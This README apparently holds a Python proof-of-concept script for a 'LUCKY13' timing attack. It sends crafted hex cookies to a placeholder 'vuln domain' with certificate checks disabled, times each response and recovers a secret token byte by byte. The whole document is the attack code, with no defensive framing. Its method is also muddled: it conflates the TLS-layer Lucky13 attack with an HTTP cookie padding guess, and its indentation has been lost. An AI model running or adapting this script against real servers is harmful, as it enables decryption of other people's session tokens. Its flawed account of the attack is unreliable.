README.md
Rendering markdown...
import requests
import time
import binascii
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings
disable_warnings(InsecureRequestWarning)
def create_payload(token_position, known_bytes):
"""Create properly encoded CBC padding test payload"""
prefix = b'A' * (16 - token_position)
known_part = bytes([k ^ (16-token_position) for k in known_bytes])
# Return raw bytes for hex representation
return prefix + known_part
def test_byte(guess, prefix, known_part):
"""Test a single byte guess"""
try:
# Build cookie with proper encoding
payload = prefix + bytes([guess]) + known_part
cookie_value = binascii.hexlify(payload).decode('ascii')
headers = {
"Cookie": f"test={cookie_value}", # Using hex representation
"User-Agent": "LUCKY13-TEST/1.0"
}
start = time.time()
response = requests.get(
"https://enterTargetHere", # Enter vuln domain here
headers=headers,
verify=False,
timeout=3
)
elapsed = time.time() - start
return elapsed
except Exception as e:
print(f"Error testing byte {guess}: {str(e)}")
return None
def decrypt_byte(token_position, known_bytes):
"""Attempt to decrypt one byte"""
prefix, known_part = create_payload(token_position, known_bytes)[:16-token_position], create_payload(token_position, known_bytes)[16-token_position:]
print(f"[*] Testing position {token_position} with {len(known_bytes)} known bytes")
candidates = []
for guess in range(256):
elapsed = test_byte(guess, prefix, known_part)
if elapsed is not None:
candidates.append((guess, elapsed))
if not candidates:
return None
# Return byte with shortest response time (valid padding)
candidates.sort(key=lambda x: x[1])
return candidates[0][0]
if __name__ == "__main__":
print("[*] Starting LUCKY13 POC ")
print("[!] This will take approximately 5-10 minutes per byte")
known_bytes = []
for position in range(1, 17):
byte = decrypt_byte(position, known_bytes)
if byte is None:
print(f"[-] Failed at position {position}")
break
known_bytes.insert(0, byte) # Insert at beginning (we decrypt backwards)
current_token = bytes(known_bytes).hex()
print(f"[+] Position {position}: 0x{byte:02x} | Current token: {current_token}")
if known_bytes:
print("\n[+] Final decrypted token:", bytes(known_bytes).hex())
else:
print("[-] Attack failed")